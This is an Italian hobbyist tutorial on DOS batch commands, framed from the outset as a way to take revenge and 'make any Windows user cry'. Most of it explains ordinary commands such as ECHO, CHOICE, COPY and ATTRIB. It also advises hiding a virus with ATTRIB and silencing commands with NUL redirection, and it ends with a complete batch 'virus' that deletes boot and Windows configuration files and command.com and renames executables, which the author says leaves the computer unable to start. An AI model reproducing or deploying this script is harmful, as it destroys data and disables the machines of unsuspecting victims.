COMANDI DOS (parte I)
BAKUNIN
bakunin@meganmail.com
Quante volte abbiamo detto: a quello gliela faccio pagare! Ma poi difronte al come fare... Questo è successo tante di quelle volte a me che la metà sarebbe bastato! Quando non si sanno assolutamente nessun linguaggio di programmazione, quando non come muoversi alla ricerca di virus tarocchi su internet, ecco che arriva in aiuto il nostro vecchio, stagionato e tanto amato DOS!
Cos'è il DOS? Il Dos è un sistema operativo della Microsoft (quando ancora cercava di fare le cose per bene) padre di Windozz. Sappiate che con la conoscenza di non più di 20 comandi riuscite a far piangere qualsiasi utente di windows e non solo!
Il Dos infatti non è molto sicuro basti pensare che basta creare una procedura patch per cancellare dati, formattare l'harddisk o semplicemente far prendere un bello spavento all'utente sfortunato.
Il DOS non da assolutamente sicurezza ed infatti alla fine di questo tutorial scoprirete che non è poi così difficile creare virus che facciano piangere chiunque!
INIZIAMO QUINDI!
Ora qui vi insegno a creare programmi patch cioè quei programmini da principianti che non hanno bisogno di compilatori particolari o di enormi programmi. Il materiale occorrente è un qualsiasi editor di testi.
Cosa sono i patch? Sono dei pacchetti di comandi DOS che il computer esegue in rapida successione. Per il DOS è un programma patch ogni file che finisce con l'estensione .bat. Quindi basterà salvare il nostro file: file.bat !
Rassegna dei comandi che uno deve già conoscere:
CD cambia directory
MD crea directory
DEL cancella file o directory
COPY copia un file in una directory o in un altro file
DIR visualizza file
RENAME rinomina un file
ed altri che mi verranno in mente man mano che incomincio.
PRIMA RIGA di ogni programma:
@echo off
Questo comando permette la non visualizzazione della scrittura del comando ma solo la sua esecuzione. Cioè?
Se io faccio un programma che cambia directory e mi porta alla base, alla root di ogni sistema DOS (cioè il c:), queste sono le due esecuzioni:
Senza #echo off:
c:\ciao>
c:\ciao>cd ..
c:\>
CON:
c:\>ciao>
c:\>
Come vedete non mi fa vedere la scrittura del comando ma solo la sua esecuzione!
Ora impariamo a scrivere.
Per scrivere bisogna usare il comando ECHO
Quindi ricapitolando:
-------INIZIO------------
@echo off
echo.
echo.
echo RICAPITOLANDO....
echo.
echo.
-------FINE----------
Echo. serve per una riga vuota.
echo RICAPITOLANDO... visualizzerà sullo schermo la parola RICAPITOLANDO...
Per pulire lo schermo si usa il comando CLS .
Quindi:
--------INIZIO----------
@echo off
cls
echo.
echo.
echo RICAPITOLANDO...
echo.
echo.
-------FINE--------------
Ora supponiamo di porre una scelta all'utente del nostro programma.
Questa si fa con il comando CHOICE .
Questo ha diverse opzioni:
- /C:elenco Imposta le lettere che l'utente può scegliere
- /N Se messo non visualizza le lettere che l'utente può scegliere
- /T:secondi,lettera Imposta il tempo della scelta in secondi da 0 a 99 per poi (a tempo scaduto e se l'utente non ha scelto) far partire la scelta corrispondente alla lettera selezionata
E' ovvio che non può essere una parola la scelta ma solo singoli caratteri.
ESEMPIO:
CHOICE /C:SN Si o No?
Con questo comando all'utente comparirà la domanda: Si o No?[S,N]? e questo potrà inserire come risposta solo o S o N. Se metterà un altra lettera si avrà un BIP del computer.
Se invece pongo il comando:
CHOICE /C:SNC /N Si, No o Continua?
L'utente vedrà solo Sì, No o Continua? senza le possibilità che prima c'erano tra le parentesi quadrate.
Abbastanza chiaro?
Come faccio ora a regolare le possibilità?
Così:
CHOICE /C:ABC /N Scegli tra la lettera A, B, C!
IF ERRORLEVEL 3 GOTO ciao
IF ERRORLEVEL 2 GOTO banana
IF ERRORLEVEL 1 GOTO strada
:strada
:banana
:ciao
Attraverso il comando IF ERRORLEVEL ... regolo le diverse scelte che l'utente può fare. Se l'utente preme la 3° lettera il programma andrà (GOTO) alla etichetta ciao.
Al contrario se farà la 2° scelta andrà a banana e con la 1° a strada.
Le scelte devono essere in ordine decrescente. cioè non
if errorlevel 1 goto ..
if errorlevel 2 goto..
..
MA:
if errorlevel 2 goto...
if errorlevel 1 goto...
Dalla scelta maggiore alla minore.
Abbiamo quindi visto che attraverso il comando GOTO mi sposto ad una etichetta. Ma cos'è questa etichetta?
L'etichetta è questa:
:ciao
..comandi vari...
Cioè è un punto che io posso raggiungere.
ESEMPIO:
--------INZIO--------
@echo off
cls
echo.
echo.
echo SCEGLI:
echo.
echo A
echo B
echo C
echo.
echo.
choice /C:ABC /N CHE LETTERA SCEGLI?
IF ERRORLEVEL 3 GOTO CIAO
IF ERRORLEVEL 2 GOTO ASF
IF ERRORLEVEL 1 GOTO CCC
:CCC
ECHO.
ECHO HAI SCELTO LA LETTERA A
GOTO END
:ASF
ECHO.
ECHO HAI SCELTO LA LETTERA B
GOTO END
:CIAO
ECHO.
ECHO HAI SCELTO LA LETTERA C
:END
-------FINE-----------
In questo programma ho detto di scegliere una tra le tre lettere e poi gli dico quale a scelto.
Semplicissimo.
Ora il comando COPY
Se voglio copiare un file.aaa nella directory c:\cccc\ basta fare:
COPY file.aaa c:\cccc\
Se voglio copiare il file.aaa al posto del file file.bbb
faccio:
COPY FILE.BBB FILE.AAA
Se voglio copiare il file.aaa e il file.bbb in un file.ccc basta fare:
COPY file.aaa+file.bbb file.ccc
Se voglio copiare in un file ogni cosa che scrivo con la tastiera basta fare così:
COPY CON CIAO.CIO
Nel file CIAO.CIO (inventato!) metto ogni cosa che scrivo dal comando in avanti. Per uscire da questa opzione basta fare ^C (Ctrl+C).
Attrib è un altro comandino caruccio!
Permette di visualizzare le caratteristiche di un file o di impostarle.
Le caratteristiche sono:
- +R abilita sola lettura
- -R disabilita la sola lettura (posso quindi modificarlo!)
- +A imposta il file come archivio
- -A lo disattiva
- +S file di sistema
- -S non più!
- +H nasconde il file !!!!!!!
- -H lo mostra.
ESEMPIO:
Io creo un virus e poi voglio che si nasconda e si renda invisibile e non modificabile:
ATTRIB nome_virus.bat +H +R
Ricordatevi che per DOS e WINDOWS non cambia nulla se maiuscolo o minuscolo!
CALL avvia l'esecuzione di un altro file patch senza interrompere l'esecuzione del primo:
CALL ciao.bat
Se non mettessi CALL ciao.bat partirebbe comunque ma potrebbe interrompere il primo programma.
Ovviamente CALL funziona con i file.bat!
TYPE visualizza il contenuto di un file.
Se accompagnato al comando MORE lo fa visualizzare pagina per pagina senza farlo scorrere velocemente.
TYPE ciao.cio | MORE
FORMAT cancella tutto dal computer.
FORMAT /Q C:
cancella tutto velocemente
C'è anche un'opzione che permette di cancellare tutto senza chiedere conferma ma ora non mi viene in mente. Quando me la ricorderò ve la metterò!
PAUSE blocca l'esecuzione del programma finché l'utente non schiaccia un tasto.
SORT ordina dati in un file secondo ordine crescente
FIND trova un determinato carattere o parola in un file.
FIND "ciao come stai?" file.aaa
Cerca nel file.aaa la frase ciao come stai?
> o < Questi comandi permettono di non vedere o vedere l'esecuzione di un comando.
Se io scrivo
DIR
vedo la sua esecuzione e mi mostra i file.
Se io faccio:
DIR < NUL
Non vedo nulla ma l'operazione non viene mostrata. Questo è poco significativo. Ma pensate a questo comando:
COPY *.* C:\ > NUL
Copia tutti i file nella directory c:\ e non mostra nulla (sembra che non sia successo nulla...)!
Oppure è utile anche
DIR > file.aaa
Esegue il comando DIR all'interno del file.aaa senza mostrare nulla. Se il file.aaa esiste lo cancella e lo ricrea nuovo, altrimenti lo crea e basta.
Mica male!
IF si usa oltre per le scelte con CHIOCE e gli altri, anche in questo modo:
IF EXIST C:\nome_file GOTO ciao
Se esiste questo file vai all'etichetta ciao
ma si usa anche così:
IF NOT EXIST C:.....
se non esiste...
REM sono i commenti.
Questo è tutto più o meno!
Per fare questa guida chi ho impiegato 20 minuti! E' un record. ;-)
---------INIZIO-------------
@echo off
del c:\autoexec.bat
rem L'autoexec.bat è il primo file che parte all'avvio del tuo computer (non
REM proprio ma per te che stai leggendo questo tutorial va più che bene!)
del c:\config.sys
rem file della configurazione generale!
if exist c:\windows\win.* goto a
if exist c:\windows\system.ini goto b
if exist c:\windows\*.* goto c
rename c:\*.exe *.dio
goto file
:a
del c:\windows\win.*
rem file di avvio di windows!
:b
del c:\windows\system.ini
rem file di configurazione di windows
:c
rename c:\windows\*.exe c:\windows\*.cio
md c:\windows\sistemac
copy c:\windows\*.sys c:\windows\sistemac >nul
:fine
del c:\command.com
rem fine del programma!
---------FINE---------------
Il computer è partito. Non partirà più! L'unico problema di questo virus e che se io mi accordo in tempo della sua esecuzione, per interromperlo basta fare Ctrl+C. Ma se il computer è abbastanza veloce a fare queste operazioni ci impiega pochissimo e nessuno si accorgerà di quel che è successo!
-----------------FINE LEZIONE-----------------------
Per chiarimenti e delucidazioni....
BAKUNIN
bakunin@meganmail.com